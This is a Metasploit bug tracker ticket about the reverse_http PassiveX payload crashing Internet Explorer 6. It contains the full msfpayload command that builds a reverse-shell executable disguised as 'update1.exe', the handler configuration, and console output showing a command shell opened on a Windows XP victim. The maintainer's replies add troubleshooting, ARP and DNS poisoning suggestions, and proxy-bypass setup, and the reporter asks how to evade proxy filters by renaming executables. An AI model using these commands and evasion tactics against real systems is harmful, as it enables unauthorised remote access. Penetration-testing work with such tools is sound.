Bug #536
Reverse_HTTP Executable Payload Crashes IE6
| Status: | Closed | Start date: | 11/18/2009 | |
|---|---|---|---|---|
| Priority: | Normal | Due date: | ||
| Assignee: | James Lee | % Done: | 0% |
|
| Category: | - | |||
| Target version: | - | |||
| Resolution: | worksforme | Release Note: |
Description
Using the windows/shell/reverse_http payload, using svn r7555, i was able to successfully exploit a Internet 7&8 however, i was not able to completely load the passivex.dll into IE 6 before it crashes.
Below is the string used:
root@Fr-hack:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_http PXHOST=172.18.0.9 PXPORT=80 X > /tmp/update1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_http
Length: 475
Options: PXHOST=172.18.0.9,PXPORT=80
root@Fr-hack:/pentest/exploits/framework3# file /tmp/update1.exe
=[ metasploit v3.4-dev [core:3.4 api:1.0]
+ -- --=[ 447 exploits - 238 auxiliary
+ -- --=[ 288 payloads - 22 encoders - 8 nops
=[ svn r7555 updated today (2009.11.17)
msf > use exploit multi/handler
msf exploit(handler) > set PAYLOAD windows/shell/reverse_http
PAYLOAD => windows/shell/reverse_http
msf exploit(handler) > set PXHOST 172.18.0.9
PXHOST => 172.18.0.9
msf exploit(handler) > set PXPORT 80
PXPORT => 80
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/shell/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes ActiveX CLSID
PXAXVER -1,-1,-1,-1 yes ActiveX DLL Version
PXHOST 172.18.0.9 yes The local HTTP listener hostname
PXPORT 80 yes The local HTTP listener port
PXURI /1UmqcdQBZRZRF2TiBOegSl1E6Fxs0vyj no The URI root for requests
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] PassiveX listener started.
[*] Starting the payload handler...
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/shell/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes ActiveX CLSID
PXAXVER -1,-1,-1,-1 yes ActiveX DLL Version
PXHOST 172.18.0.9 yes The local HTTP listener hostname
PXPORT 80 yes The local HTTP listener port
PXURI /1UmqcdQBZRZRF2TiBOegSl1E6Fxs0vyj no The URI root for requests
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set PXURI /exploit
PXURI => /exploit
msf exploit(handler) > exploit
[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX main page to client
[*] Sending PassiveX main page to client
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (125952 bytes)
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (125952 bytes)
[*] Command shell session 1 opened (Local Pipe -> Remote Pipe)
[*] Sending stage to sid 5 (240 bytes)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>[*]
The successful exploit was when the executable was completed on the IE 8 Browser. The fairly unpatched IE 6 just crashes at this point:
[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (125952 bytes)
Hope this is enough information.
Along the same lines of reasoning, how would one exploit a known vulnerable client through a proxy that only allows connectivity to and through port 80.
Thanks
History
#1 Updated by James Lee over 2 years ago
- Status changed from New to Resolved
- Assignee set to James Lee
- Resolution set to worksforme
There was a recent update to PassiveX and the DLL changed. Internet Explorer probably cached the old DLL and isn't downloading the new one. I was able to fix this on a machine that had cached the old DLL by going into "C:\WINDOWS\Downloaded Program Files", right clicking on the passivex class and clicking "Remove". After that exploitation continued normally.
#2 Updated by Slick Rick over 2 years ago
Thanks. Now, how would I apply the same concept to exploit a vulnerable client through a proxy that only allows connectivity to specific webservers via HTTP and only through HTTP?
#3 Updated by James Lee over 2 years ago
Slick Rick wrote:
Thanks. Now, how would I apply the same concept to exploit a vulnerable client through a proxy that only allows connectivity to specific webservers via HTTP and only through HTTP?
I assume you have access to one of those specific webservers. Otherwise, you're going to have to get in the middle somehow (ARP poisoning, DNS cache poisoning, etc).
Because PassiveX is an ActiveX control that runs inside Internet Explorer, it uses whatever proxy settings IE is configured to use including authentication credentials. You can set PXPORT and SRVPORT to 80 and the exploit and payload will be served from the same webserver. Make sure SRVHOST and PXHOST are the same (and not 0.0.0.0), or you'll run into problems.
#4 Updated by James Lee over 2 years ago
- Status changed from Resolved to Closed
#5 Updated by Slick Rick over 2 years ago
Is there any way to combine the dll (passivex.dll) and stage (sid) functionality into a package that can be run from a client to connect back to the Metasploit server passivex listner as we are trying to connect through a proxy that is disallowing direct downloads of dll's and is also blocking access to the stage (calls it an "application/unknown") as it is not a known application type?
Or is there anyway to encode the GET requests so as to bypass the sent filters on the proxy?
We have the ability to deliver an executable on a client by renaming it to a htm filetype and changing it on the destination after it is successfully downloaded.
Thanks for all your help...